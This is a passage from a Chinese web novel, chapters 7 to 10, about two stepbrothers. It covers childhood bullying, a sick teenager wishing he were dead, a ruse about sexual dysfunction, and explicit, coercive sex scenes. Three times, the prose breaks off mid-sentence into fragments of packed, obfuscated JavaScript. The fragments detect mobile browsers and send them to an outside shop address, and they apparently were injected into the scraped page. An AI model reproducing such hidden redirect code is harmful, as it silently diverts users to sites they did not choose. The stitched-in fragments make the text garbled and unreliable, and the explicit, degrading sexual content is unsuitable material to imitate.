十年前种下的因,如今正在结出苦涩的果。 而他需要耗费无数的心力去弥补,去周旋。 宋鹤清回到自己的卧室。 这里的一切陈设和装潢都跟他十五岁被接进来居住时,并没有太大的区别。 简单,整洁,却没什么真正属于他自己的东西。 他走到窗边,推开窗。 冬日的冷风立刻钻了进来,带着凛冽的寒意,吹乱了他额前的碎发。 窗外的枯树枝桠在风中摇晃,它们扭曲的影子在暮色中张牙舞爪。 这个窗景他看了十八年。 他看着这些树经历了一个又一个轮回的春夏秋冬,树叶绿了又黄,黄了又落,落了又再生。 时光就在这悄无声息的枯荣交替中缓缓流逝,带走了他最好的年华,也将他困在了情感和责任里,走不出去。 宋鹤清靠在窗框上。那个盘旋在他心头许久的问题再次浮现:是不是真的该放手了? 放过自己,也放过盛灼。 一切的错,或许真的是从十八年前第一次看见那个金尊玉贵的小王子时,就已注定。 7. 第7章 【第7章】: 宋鹤清回忆起刚进盛家时总被盛灼欺负的日子。 自己这个继兄的到来对年仅十岁的盛灼而言,不啻于领地被最厌恶的入侵者占领。用所能想到的一切方式来宣示主权与不满。 其实宋鹤清自己也是受害者。不管是宋家还是盛家,对他来说都没有家的归属感。因为进入这两个家庭的方式都不光彩。 自己都被迫做了破坏别人家庭的孩子。 这里的一切都需要重新适应新的规则,尤其是面对这个视他为眼中钉肉中刺的“继弟”。 记忆最深的是住在盛家的第一个夜晚。 他躺在大床上,辗转难眠。 卧室大得近乎空旷,昂贵的家具在夜色里沉默矗立,像是蛰伏的巨兽。 他只能侧躺,望着窗外那轮被薄云遮掩的月亮,试图找到一点慰藉。 忽然,一个画着诡异裂嘴笑脸的鬼娃娃氢气球,在夜风的裹挟下,幽幽地升到窗前,在月光下摇曳出骇人的影子。一下下轻撞着玻璃,发出细微的“砰砰”声。 他的心脏猛地一缩,几乎要跳出嗓子眼。 他知道这是恶作剧。 几乎能想象出盛灼此刻正躲在庭院某棵大树的阴影里,屏息期待着听他惊恐的尖叫。 但他良好的涵养让他没有尖叫出来,死死压住了心里的惊恐,将薄被拉高遮住眼睛,一夜无眠到天明。 早晨在餐桌上,他神色如常地吃着早餐,仿佛昨夜根本无事发生。 只是盛灼那双漂亮却带着戾气的眼睛里,有着失望和郁闷。 自此,盛灼的“恶作剧”像是拉开了序幕,平均每天都要演上一出。考验着他的耐心,也锤炼着他的心脏承受能力。 有次他洗澡洗到一半,热水骤停,满身泡沫的他站在浴室里无奈叹了口气,最后用饮水机里的水快速冲净。 书架上自己珍爱的书籍,内页被撕得七零八落,没关系,自己重新下单购买。 打开电脑准备温习功课,却发现学习资料被替换成不堪入目的影片,白花花的男女纠缠着,他面不改色地平静删除。 清晨起来,拿起水杯准备喝水,却发现杯底沉着几只挣扎的小虫,他并不怕虫,平静地将水倒掉,重新接满。 衣柜里几件他常穿的衣服,被恶意地剪出破洞,他平静地扔到垃圾桶,不过是又要买新衣服而已。 最磨人的是深夜,当他沉沉睡着时,卧室某个角落会突然响起刺耳尖锐的闹钟声。 他不得不在困意中挣扎起身,然后大半夜的在卧室里循声寻找闹钟然后关掉。 这些幼稚的把戏并没有实质性的伤害,宋鹤清一一包容。 心中也没有怨气,反而生出几分同情和怜爱。 毕竟谁也不会喜欢继母和继兄的存在。 怎么能让一个十岁的孩子笑着接纳闯入家庭的陌生人? 盛灼所有的恶意,都源于内心那片无人安抚的荒原。 所以他出于同情、出于可怜、出于心疼,尽可能地去关心盛灼,照顾盛灼。去安抚那片荒原,去安抚这个浑身是刺的少年。 但那些嘘寒问暖,那些关心照顾对盛灼来说都是多余的,只会感到更加厌恶。 不过他不曾停止。因为他是出自真心的关爱,不是为了换取什么。 盛灼十三岁那年,身高抽条,脾气见长。某天还破天荒地邀请十八岁的他一起去城郊的俱乐部打网球。 宋鹤清从未接触过这项运动,因为他的爱好里没有运动。 却不想拒绝这看似缓和关系的邀约,哪怕邀约背后可能包裹着新的恶作剧。 阳光明媚的球场上,站着几个盛灼的朋友,都是世家子弟,意气风发。 盛灼让他一起打球,他说他不会。 盛灼嘴角勾起一抹戏谑的笑,阳光下他的笑容有些刺眼:“那哥哥你帮我们捡球吧?反正你也没事干。” 周围的少年们发出嘲讽的嗤笑声。 宋鹤清脸上并无愠色,甚至带着温和的笑意,欣然拿起场边的空球筐,穿梭在场地边界,捡散落的黄色小球。 预料之中的“意外”还是来了。 一个角度刁钻的球,毫无预兆地直冲他的小腿外侧而来。 “砰”的一声闷响,小腿骨传来清晰的撕裂感,痛得他眼前一黑跌坐在地,冷汗涔涔。 球筐也脱手,刚捡起的球滚了一地。 “哥哥,你怎么这么没用啊?球来了不知道躲吗?”盛灼跑过来,蹲在他面前,语气里是毫不掩饰的恶劣与一种近乎恶毒的“关心”。眼睛里闪烁着复杂的光芒,有得逞的快意。 但宋鹤清还捕捉到一丝盛灼自己都未察觉的慌乱。 宋鹤清强忍着钻心的疼,没有说话,撑着地面试图靠自己站起来,却再次因剧痛而踉跄坐下。 一旁盛灼的好友庄苏寻说:“看他疼得脸都白了,应该伤到骨头了”。 另外的朋友说:“那就送去医院呗” 最终他被扶上车送往医院。 诊断结果是小腿骨撕裂,需要打上石膏静养至少一个月。 容曼仪闻讯赶来,心疼地追问,他只轻描淡写地笑了笑:“妈,别担心,是我不小心在球场边滑了一跤。” - 盛灼十四岁生日时,盛家大办宴席,灯火辉煌,宾客盈门。 宋鹤清送出了一份耗时两个多月亲手制作的礼物,一个极其精致的微缩场景模型:穿着量身定做的白色西服的盛灼,优雅地坐在一架黑色三角钢琴前,手指弹琴,神态专注,惟妙惟肖。连钢琴盖内侧的木质纹理都被细致地还原。 盛灼当着盛朗的面高兴地接过礼物,礼貌道谢。 盛朗满意地看着他们兄友弟恭。 然而当夜,宋鹤清回到卧室,在自己卧室的地板上,看到了那份送出去的礼物被摔得粉碎,零件四溅。 那个白色的“小盛灼”更是身首分离,精致的脸庞上有了裂痕。 而盛灼就坐在他卧室靠窗的沙发上,像一只充满攻击性的小兽,声音冰冷而清晰地宣告:“少拿这些没用的玩意儿讨好我。我是不会停止欺负你的,除非哪天你跟你那个狐狸精妈妈滚出我家!” 宋鹤清站在原地,静静地看着那一地狼藉。 他面上很平静,内心却有一点难过。只是更多的是一种无力与了然。 他沉默地蹲下,仔细将所有碎片一一拾起放入袋中,然后封好扔进了垃圾桶。 整个过程安静得像一出默剧。 时光荏苒,盛灼十五岁时,叛逆期达到顶峰,而宋鹤清已是二十岁的青年,在大学读中医专业。 或许是因为遗传了母亲的优良基因,他长得越发好看。身姿像雨后翠竹般修长挺拔,一双桃花眼天生自带深情,五官清俊白皙,气质有种不食人间烟火的清冷脱俗。 在校内有很多大胆的追求者,甚至男生比女生还多,却都被他以学业为由婉拒。 有天他正在图书馆看《黄帝内经》,手机震动,是家中佣人李嫂的电话,焦急地说小少爷前两天不知为何发了高烧,但拒绝看医生,也拒绝任何人靠近房间,药和水放在门口原封不动,已经两天没去上学了,人在房间里砸东西,脾气大得很。 “父亲和母亲呢?”宋鹤清合上书,拳头微微收紧。 “先生和太太前天出国旅游了,跟他们说了情况也不回来……只吩咐我们好生照顾,可是我们……” “好,我知道了。我马上回来。” 他匆匆赶回盛宅。 佣人们聚在盛灼房门外,面露难色与担忧,七嘴八舌地说小少爷见什么砸什么,根本不让进,送进去的粥和药都被扔出来了。 宋鹤清示意他们稍安,抬手打开了那扇紧闭的房门。 很快一个沉重的马克杯带着风声飞来,他不闪不避,“哐”一声闷响,额角被砸到,瞬间渗出血,沿着他清隽的侧脸滑下一道细小的血痕。 佣人们吓得倒吸一口气。 而宋鹤清却很冷静。 “滚啊!谁让你进来的!都给我滚!” 盛灼的声音因高烧和怒气而沙哑,脸上是不正常的潮红,嘴唇干裂起皮。看上去病气很重。 但眼神却很凶狠地瞪着门口,浑身都散发着生人勿近的戾气。 宋鹤清并没有因此退缩,仿佛也感受不到额头传来的疼痛。 他踏过满地狼藉,散落的书籍、破碎的摆件、泼洒的茶水与食物。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528778|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后弯腰将一个滚落在地的枕头捡起,轻轻拍了拍灰尘,放回凌乱的床上。 接着捡起地上一个幸免于难的空水杯,走到饮水机旁接了大半杯温水,又拿出自己带回来的退烧药,拆出两粒,一起递到盛灼面前。 他温柔地哄劝:“先吃药,不然没力气继续发脾气。” “我说滚你听不见啊?!我不需要你假好心!”盛灼像是被这平静的态度彻底激怒,猛地挥手狠狠拍开他的手腕。 药片洒落,水杯第二次掉在地上终于被摔碎。 宋鹤清不甚在意地看了眼被拍红的手腕,面上依旧平静没有生气。 他一言不发地走进浴室,拿了盛灼的毛巾打湿冷水后拧干,重新走回盛灼跟前,举起毛巾想要为盛灼擦拭滚烫的额头。 但盛灼却猛地攥住他的手腕,手掌因为发烧而滚烫,力道大得掐红了宋鹤清手腕皮肤。 眼中是浓厚的恨意与某种更深沉的挣扎,咬牙切齿道:“宋、鹤、清!你到底想做什么?讨好我根本没用!我是不可能原谅你和你妈的!永远不可能!” 宋鹤清平静地注视着他,目光像是能包容一切的风。温柔地安抚道:“我知道。我没指望你原谅。所以等你修养好了,身体恢复了,再继续想办法欺负我也不迟。现在你这样虚弱,连杯水都拿不稳,发脾气根本没威慑力可言。” 这句话像是一下子戳中了盛灼某个隐秘的痛点,他猛地松开手,像是碰到什么脏东西,随即抓起手边另一个靠枕砸过去。 宋鹤请这回微微偏身躲开了。 但无论盛灼如何砸东西,如何用最伤人的字眼攻击他和他母亲,宋鹤清始终不离开。 倔强得令盛灼有些拿他没办法。 宋鹤清耐心地守着,默默清理地上的东西。又拿了一个杯子重新接温水,递药,被拒绝,再尝试。锲而不舍。 两人胶着了许久。房间里只有盛灼粗重的喘息声,和宋鹤清平静的呼吸声。 拉锯战持续到凌晨三点,盛灼应该是真的耗尽了所有力气,也可能是烧得意识模糊,终于在迷迷糊糊间就着宋鹤清递过来的水杯,吞下了退烧药。 盛灼喉咙里发出模糊的吞咽声,嘴里仍不忘含糊地威胁:“你等着……等我好了……看我不弄死你……” “好,我等着。”宋鹤清不在意地替他擦去嘴角的水渍,将被子掖好,声音轻得像窗外渗入的夜风,“睡吧阿灼。” 后半夜,盛灼反反复复地发烧,体温时高时低,还断断续续地说着破碎的胡话。 宋鹤清不敢睡,不停用冷毛巾为他擦拭脖颈、腋下等部位进行物理降温。 就在那零碎而模糊的呓语中,他终于拼凑出了这场突如其来的崩溃的真相——原来盛灼的母亲贺孟舟再婚了,并且生下了一个女儿。 彼时十五岁的少年在病痛的脆弱中,觉得自己是被全世界抛弃的多余存在,父母的各自圆满都与他无关,他的痛苦和存在都成了不合时宜的累赘,或许病死,才是对所有人最好的解脱。 “……他们都不在乎我了……明明我是在他们期待中出生的。他们曾经那么那么爱我,现在都不在乎我了……我死了最干净……”盛灼在半梦半醒中呜咽。 宋鹤清心中那片因长久包容而愈发柔软的角落,被狠狠触动了,酸涩感涌上鼻尖。 看着床上因高烧而失去所有尖刺,只剩下脆弱与悲伤的人,一种强烈的保护欲油然而生。 他轻柔地拂开盛灼被汗水浸湿的额发,低声呢喃:“不会的,有人在乎你,有人要你的。” 他想,如果可以,真想一辈子照顾盛灼。 次日中午,盛灼的烧退了大半,神智逐渐清醒,身体的疲惫感仍在,但不再像昨夜那样混沌痛苦。 而宋鹤清却熬得双眼布满红血丝,眼下带着浓重的青黑,累极了,趴在床边睡着了。额角那处已经凝固的血疤在他白皙的皮肤上显得格外刺眼。 半梦半醒间,宋鹤清仿佛感觉到一道视线落在自己脸上。 他依稀间听见盛灼用某种复杂意味的声音极轻地咕哝了一句:“狐狸精,跟你妈一样……就会用这张脸……骗人……” 后面的话语他就没听清了,因为他已经沉沉睡去。 8. 第8章 【第8章】: 夜色深沉,盛家大宅在半山处灯火通明,华丽恢宏。 从远处望去,它像是指引旅人归途的灯塔,散发着令人向往的光。 但宋鹤清却觉得,这是华丽表象之下无形的枷锁。 他站在卧室的窗前,目光从窗外收回,方才脑海中翻涌的记忆此刻缓缓退去。 他轻叹一声,转身走向衣帽间,取出了那件常穿的纯白色睡袍。 浴室里,水汽氤氲。 他拿过那瓶用了许多年的“静夜清梦”沐浴露。 挤出来是琥珀色的液体,散发着清冽而悠远的香气,混合着几味中药材的味道。让它有别于其它沐浴露的香味,多了一种中药的清苦。 这香气能够使闻到的人神经放松,安抚焦虑和紧张。 起初他自制这款安神沐浴露主要是为了给盛灼用。 因为盛灼曾在无数个深夜里,因为没灵感而被折磨得焦虑、失眠、暴躁。 但盛灼只用了一次就不再用了,觉得这是三无产品,配不上他的身份。 所以后来就自己用了。 盛灼闻到他身上散发的幽香后,神经都放松了不少。 有时候盛灼晚上失眠,都会打电话叫他过去,然后什么也不做,就抱着他,将脸埋在他颈间,贪婪地嗅着这能抚平焦虑的香气,才能沉沉睡去。 温热的水流冲刷过身体,带走不少疲惫。 洗完澡,宋鹤清系好睡袍腰带走出浴室,发梢湿漉漉的还滴着水。 他在卧室的沙发上坐了片刻,思来想去睡不着,还是决定去跟盛灼好好谈谈。 打开房门,走廊寂静无声,昂贵的地毯吞噬了所有脚步声。他一直走到走廊尽头的门前,抬手轻轻叩响了盛灼的房门。 敲门声在安静的走廊中显得格外清晰。 敲了几下里面没有人回应。他又敲了几下,耐心等待着。 突然,门被猛地打开。 盛灼高大挺拔的身影堵在门口,他刚洗过澡,身上还带着沐浴后的水汽,几缕头发不羁地垂落在额前。 身上穿着一件暗蓝色的真丝睡袍,腰带松松垮垮地系在劲窄的腰上,领口随意地敞开着,露出结实硬挺的胸肌。浑身散发着淡淡的雪松香,整个人透着一种极具侵略性的压迫感。 他狭长的双眼居高临下地看着宋鹤清,脸上有着被打扰的不悦:“干什么?” 宋鹤清抬头看着他,维持着嘴角微笑的弧度,声音轻柔:“阿灼,我想跟你谈谈。” “谈什么?”盛灼的视线在他身上扫过,带着审视的意味。他总觉得在联姻这件事上,宋鹤清是站在盛朗那边的。 “你让我进来说好吗?”宋鹤清带着一丝恳求。 盛灼嗤笑一声,侧身让开,转身大步走回房间,慵懒地陷进宽大的沙发里。 沙发上散落着一些凌乱的乐谱手稿,旁边的小圆桌上放着一杯喝了一半的红酒。 他翘起二郎腿,慢条斯理地拿起酒杯,轻晃着杯中莹润的红色酒液,偏头看向跟进来的宋鹤清,眼神里含着几分漫不经心的傲慢。 宋鹤清走到盛灼面前,还没来得及开口,就听到盛灼的威胁:“我的灵感被你打断了知道吗?如果你马上要谈的事不够重要,我会生气,你知道后果吧?” 他的嗓音带着红酒浸润后的微哑,像羽毛搔刮在心尖,却又带着寒意。 宋鹤清的心猛地一紧,他最害怕打断盛灼的创作灵感,此刻感到非常愧疚:“抱歉,阿灼,我不知道你在创作。我就说一件事,是关于选联姻对象的事,我想到了一个办法,不知道能不能行,先来问问你的意见。” “说。”盛灼挑眉,示意他继续。 宋鹤清站在他跟前:“你先在父亲面前答应会联姻,不要把干爹逼急了,因为我怕他会逼迫你。这是……暂缓之计。”他顿了顿,观察着盛灼的反应。 “就只说这个?”盛灼的眉头不悦地蹙起。 “不是的,这只是第一步。”宋鹤清。 盛灼视线在他身上上下扫视。他穿着纯白色的睡袍,衬得他脖颈愈发纤细白皙,像优雅的白天鹅。浴袍下摆露出一截小腿,笔直而又光滑。 刚洗过澡的肌肤透着被热气蒸腾过的淡淡粉色,显得唇色格外红润,眉眼愈发清俊。 那张形状优美的嘴唇一张一合,禁欲的白色睡袍包裹着他清瘦却不失力量的身体,竟透出一种反差的性感。 宋鹤清长得实在带劲儿,看似冰清玉洁,实际身体孟浪。 盛灼喝了一口红酒,锋利凸起的喉结随着吞咽的动作上下滚动,目光变得幽暗。 他支着脑袋,玩味地看着宋鹤清,开口道:“我不喜欢抬眼看人。” 宋鹤清立刻会意。低头看了眼厚实干净的地毯,然后利落地屈膝跪坐了下去。 这个姿势让他必须仰起头才能看到盛灼的脸。 他知道盛灼喜欢这种俯视人的角度,享受高高在上的掌控感。对于这种简单的要求,他愿意满足。 宋鹤清正想继续说明第二步计划,盛灼却再次打断了他:“太远了。” 宋鹤清抿了抿唇,向前挪动了一些,直到停在盛灼翘着的二郎腿前。 盛灼打开二郎腿,双腿大剌剌地敞开着,低头俯视着在自己掌控范围内的宋鹤清。嗓音变得有些蛊惑:“再近些。” 宋鹤清的心脏不受控制地加速跳动,这个距离已经近得能感受到对方身上散发的热意和淡淡的酒气。 再近,就几乎要有肢体接触了。 但他还是没有拒绝,顺从地又往前挪了一点点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528779|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛灼满意地看着对方仰视自己的姿态,这种完全的掌控感极大地取悦了他。终于有耐心问:“第二步是什么?” 宋鹤清仰着头,这个姿势让他显得有些脆弱。他抿了抿唇,似乎有些不敢说出口,但还是说了出来:“你跟你父亲说,你有……性/功能障碍,需要花时间治疗,等治疗好了再……再跟联姻对象见面。” 他边说边观察盛灼的反应。 “性/功能障碍?”盛灼眯起了眼睛,重复着这个词,语调微微上扬,带着几分骇人的危险,仿佛被这个荒谬的提议冒犯到了。 宋鹤清知道这完全没有说服力,在盛灼极具压迫感的目光下,不由得有些结巴起来:“就、就是权宜之计,先骗过你父亲……” 盛灼忽然被气笑了,笑声带着嘲弄。随即低声喝道:“荒唐!” 骄傲如他,怎么可能说自己有这种难以启齿的病。 宋鹤清被吓到,他知道盛灼肯定会生气,于是为了安抚他的怒火,起身坐在了盛灼的大腿上,手臂揽住对方肩膀。姿态极尽讨好。 盛灼看着这张清冷的脸做着讨好他的行为,极大地满足了内心某种恶劣的趣味。怒气消了几分,忽然低头凑近宋鹤清,两人之间的距离近得能感受到彼此的呼吸。 目光落在宋鹤清红润的唇上,开口时,温热的气息带着红酒的醇香拂过对方的脸颊:“谁给我治疗?你?你怎么治疗,用身体?” 他的话语意有所指,充满了暧昧的暗示。 宋鹤清一愣,脸颊瞬间染上更深的红晕。他有些无措,不知道要不要顺着盛灼的话回答。 下一秒盛灼却托住他后脑勺吻上来,睡袍也被扯了下来,露出大片白皙肌肤。 宋鹤清被吻得呼吸急促,盛灼看着他意乱情迷的样子,眼底的玩味更深,继续言语羞辱:“既然要用身体,那就要看你诚意了。” 恰在此时,房门再次被敲响。 “咚!咚!咚!” 这敲门声沉重而急促,充满了不耐烦,与宋鹤清方才轻柔的叩门声形成了鲜明对比,瞬间打破了室内旖旎的氛围。 惊得宋鹤清咬了一下,盛灼吃痛拧眉,离开他的唇瓣,侧头朝向门,不悦道:“干什么?” 他知道会用这种力道敲他房门的只有一个人。 门外果然传来了盛朗的声音:“开门!我跟你谈谈。” 宋鹤清吓得浑身僵硬。他此刻衣衫不整,满面潮红,一看就是在做不可告人的事。 他猛地看向盛灼,眼神里充满了惊慌和恳求,无声地示意他不要答应。 然而盛灼看着他这副受惊的模样,眼底却掠过一丝恶劣的笑意。 他偏不如宋鹤清的意,他就是想看他惊慌失措。 于是在宋鹤清哀求的目光中,他故意抬高声音清晰地说道:“进来。” 9. 第9章 【第9章】: 盛朗开门迈步走了进来。 他的脚步沉稳,浑身自带一种久居上位威严气场。 两百多平方的宽敞卧室里,只亮着一盏为钢琴专门设计的暖光灯,灯光像聚光灯般照在钢琴和盛灼身上。 盛灼下半个身子被钢琴遮挡。 琴台上凌乱不堪,零散铺着几张手写曲谱稿,上面是一些修修改改的痕迹,有些团成一团扔在地上。 盛朗看到盛灼大晚上仍沉浸在这些没用的东西上,心里那股无名火又开始窜动。 他记得在盛灼很小的时候,想着为孩子培养些“高雅”的兴趣爱好,比如马术、高尔夫、国际象棋、绘画、音乐……林林总总,所以请最好的老师来教。 没想到盛灼只对音乐感兴趣,甚至在音乐上展现了近乎神赐的天赋。 五岁听一遍旋律就能复唱,六岁学钢琴上手极快,七岁能编出像模像样的童谣,八岁就能在国家级的儿童音乐盛典上拿下金奖,九岁时,“音乐神童”的名声已经传开了。 那时他作为父亲还觉得与有荣焉。总会在外人面前“不经意”地提起自己的天才儿子。他觉得这是盛家的骄傲。 盛灼十八岁那年,不问他的意见,执意签约了国内顶级的音乐传媒公司。 第一张专辑一经发出就激起千层浪,火爆全网。 凭借他自身优越的外貌和音乐造诣,迅速跻身顶流歌手之列。荣耀加身,万众瞩目。 可他作为父亲,心里的担忧却与一天比一天更多。不得不专门严肃提醒盛灼到大学毕业后就不能再玩音乐,得继承盛鼎集团。 那是他打下的江山,是盛灼作为长子不可推卸的责任。 而音乐只能作为爱好,不能当主业。 然而盛灼却明确而强硬地拒绝了他。 他这才意识到音乐对盛灼已经不是兴趣爱好了,而是当成了事业。 从此,他们父子之间的隔阂就越来越多。 音乐,这个曾经他觉得骄傲的东西,成了横亘在两人之间最深的鸿沟。 一次又一次的争吵,一次比一次激烈的冲突,父子俩谁也不妥协,每次都不欢而散。 此时盛朗走到那张宽大沙发前沉身坐下,昂贵的皮革发出轻微的受压声。 他沉沉看着盛灼,神情严肃:“这么晚了不睡,还在弄这些东西?”语气里含着怒其不争的意味。 盛灼没有理会他。低头视线扫了一眼脚边,钢琴架下,宋鹤清躲在里面。身上松垮的浴袍滑落了一边肩膀,露出圆润白皙的肌肤。 因为紧张,那片肌肤泛着淡淡的粉色,像初绽的樱花。 他嘴角扯出一抹微不可察的坏笑,按住宋鹤清的头,不许他松口。 他懒得跟盛朗废话,只想快点艹死宋鹤清。 所以抬头面向盛朗时,脸上只剩下全然的冷漠和不耐烦:“什么事,直说吧。如果是劝我放弃音乐,那就免开尊口。” 盛朗额角青筋微跳,强行按捺住升腾的怒火。 他信奉风水运势,认为晚上家庭吵架会败坏家运。 便深吸一口气,压下怒火,语重心长地说:“你今年二十八了,盛灼,再过两年就三十岁了,不再是小孩子了。应该考虑一下婚姻大事,早日成家,生儿育女,然后安心接手集团。” 盛灼发出一声短促的哂笑,混不吝地顶了回去:“结婚?生孩子?生一个像我这样混蛋的儿子,然后将来气死我吗?” “你——!”盛朗被这混账话噎得一时说不出话,胸口一阵发闷。 他看着眼前这个浑身是刺的盛灼,跟小时候那个懂事又识大体的盛灼完全两样。 脑海里不合时宜地闪过许多年前的画面。 那时还是孩子的盛灼会在他回家时开心地跑过来扑进他怀里,会把他随口一句夸奖记在心里,会在外人面前懂事得体,努力做着一切能让他这个父亲骄傲的事情。 那时的盛灼眼里全是对他的依赖和崇拜,渴望得到他的认可与夸赞。 是从什么时候开始变的? 或许是从他和贺孟舟离婚开始的,或许是娶容曼仪进门开始的,也或许是他一次次缺席盛灼的成长开始的? 抑或是,当盛灼发现父亲的爱是有条件的,是需要放弃音乐接管家业的时候? 所以盛灼对他失望了。 五年前,他宣布和邱澜结婚,盛灼和他大吵一架,那场激烈的冲突几乎将他们父子间最后一点亲情也焚烧殆尽。 从此盛灼看他的眼神再没有尊敬,只有怨恨和失望。不再渴望他的认可,不再期待他的父爱。 盛朗内心深处并非毫无愧疚。但这份愧疚,很快就被他身为父亲和集团掌舵人的权威感所覆盖。 他是盛灼的父亲,他给了盛灼生命和优渥的生活,盛灼理所应当听从他的安排。任何顶撞,都是忤逆不孝! “你个混账东西!”盛朗最终只能从牙缝里挤出这句苍白的斥责,感到一阵无力的头疼。 此刻钢琴底下,宋鹤清听到那压抑着怒火的骂声,浑身更加紧绷,浴袍又滑落几分,春光乍泄在小小的琴底,除了盛灼无人看见。 那紧张的模样倒显出几分欲盖弥彰的媚态来。清冷又脆弱的眼眸恳求地看着盛灼。 盛灼丝毫没被父亲的怒气影响,反而更加气定神闲。他甚至伸出修长的手指,轻轻搔刮着宋鹤清的下巴,像是逗弄一只受惊的猫咪。 这隐秘的互动带着禁忌的快\感,奇异地抚平了他内心的烦躁。 忽然,他抬起眼看向盛朗,漫不经心地道:“爸,实话告诉你,其实我有性/功能障碍。”说完眼里闪过一抹恶作剧的乖戾。 琴架下的宋鹤清觉得嘴巴酸软,感觉下巴快要脱臼了。他清晰地看见盛灼坚硬如铁,那句“我有性/功能障碍”真是一点没有说服力。 此刻整个卧室陷入了死一般的寂静。 连空气都仿佛凝固了。 盛朗神情僵住了,他怀疑自己是不是因为气过头出现了幻听。看着儿子那张脸,好一会儿,才艰难地消化了这句话。 随后一股复杂的情绪涌上心头。 如果是因为这个原因,盛灼之前拒绝联姻,似乎就有了一个“合理”的解释。 他紧绷的肩膀微微松弛,怒火奇迹般地被一种混杂着担忧和无奈的情绪取代,语气也前所未有地平静下来,甚至带着点尴尬:“你……你这孩子,怎么不早说。早点治疗也好啊。” 盛灼撒谎撒得面不改色,语气平淡得像在讨论天气:“我是大明星,一举一动都被无数双眼睛盯着。如果去医院,第二天‘当红歌手盛灼疑似身患隐疾’的头条就会满天飞。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528780|203639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 盛朗的眉头再次紧紧皱起,眼里交织着“家门不幸”的沉痛和对现实顾虑的权衡。 他这辈子顺风顺水,何曾想过会遇到这种难以启齿的家族危机。 要是盛灼治不好,生不出孩子,那岂不是只能指望小儿子了?等小儿子长大结婚生子,他都多大岁数了,还能享受天伦之乐吗? 一时间他不知道怎么说。 盛灼趁热打铁,带着破罐子破摔的自嘲:“如果真有哪家千金不介意,愿意嫁给一个那方面不行的男人,我倒是无所谓,娶了就娶了。只是传出去两家的名声都不好。” “胡闹!”盛朗低喝,“哪个世家会把女儿往火坑里推?不能生育,在世家联姻里就是绝路!你别再说这些没用的,医生必须看,我来安排。” “你能保证你找的医生绝对可靠吗?”盛灼反问,“一旦走漏风声,就算我以后治好了,这顶‘不行’的帽子也会扣我一辈子,还有哪个体面世家的女儿肯嫁给我?盛家的脸面还要不要了?” 盛朗沉默了。 盛灼的话像一盆冷水浇醒了他。 的确,圈子里最不缺的就是流言蜚语,这种关乎男人尊严和家族传承的隐私,绝对不能外泄。 他沉吟片刻,想到了一个绝对可靠的人选:“你哥是学中医的,虽然他现在在企业工作,但他的医术一直很厉害。让他给你看看。自家人,他不会说出去半个字。” 盛灼就是在等他这句话,故作犹豫了一下,然后才无所谓道:“现在也只能这样了。” 盛朗疲惫地按了按发胀的太阳穴。 今晚这一番交锋,比他开一整天的会还要累人。 他长长地叹了口气,充满了挫败感:“难怪从来没听说你跟谁谈恋爱,原来是这个原因。真是……唉,看来之前计划的联姻都得暂时搁置了。” “放心吧爸,就算我这辈子都治不好,盛家也不会绝后的。您不是还有个小儿子么?”盛灼的讽刺像一根细针,轻轻扎在盛朗的心上。 盛朗脸色一沉,却已没有力气再争吵。 他挥了挥手,像要挥开这令人窒息的氛围,沉着脸一言不发地转身离开了房间。 门重新打开关上,隔绝了两个世界。 确认盛朗走远后,盛灼脸上的讽刺瞬间褪去,取而代之的是一种野性。 他猛地伸手将钢琴底下的宋鹤清一把拽了出来,不由分说地将他按倒在黑白琴键上。 杂乱无章的琴音骤然响起,打破了房间的寂静。 盛灼滚烫的身躯覆了上来,一手握着宋鹤清纤细脆弱的脖颈,带着不容抗拒的力道,低头覆上。 滚烫的唇带着惩罚般的意味,啃噬着那截白皙的肩颈。 “唔……”宋鹤清被这突如其来的袭击弄得措手不及。 盛灼贴着宋鹤清的耳廓,嗓音低沉喑哑,如同诱人堕落的恶魔,带着恶劣的笑意:“哥哥……” 他刻意拉长了尾音,气息灼热,“接下来,你得好好给我‘治疗’了。不然,我可真要绝后了啊。” 宋鹤清知道他这是故意在戏弄他。 盛灼摸着他的肚子,恶劣地问:“哥哥会怀孕吗?” “……阿灼……”宋鹤清眼尾嫣红,漂亮的桃花眼陷入无限欲海中。 沉沦, 堕落…… 10. 第10章 【第10章】: 宋鹤清从没想过,有一天盛灼会把他按在那架珍贵的钢琴上肆意贯穿。 他后背紧贴着冰凉的漆面,清晰地感受到每个琴键的轮廓。盛灼的呼吸近在耳边,灼热的气息拂过他的颈侧。 在他印象里,钢琴是盛灼的绝对领域,神圣不可侵犯。 这架钢琴的黑白琴键曾被弹出过无数美妙的音符,或激昂,或轻柔。此刻却撞击出乱七八糟的杂音。 年少时他痴迷盛灼弹钢琴的模样。修长的手指在琴键上跳跃时,仿佛不是在弹琴,而是在爱抚。 而盛灼的歌声…… 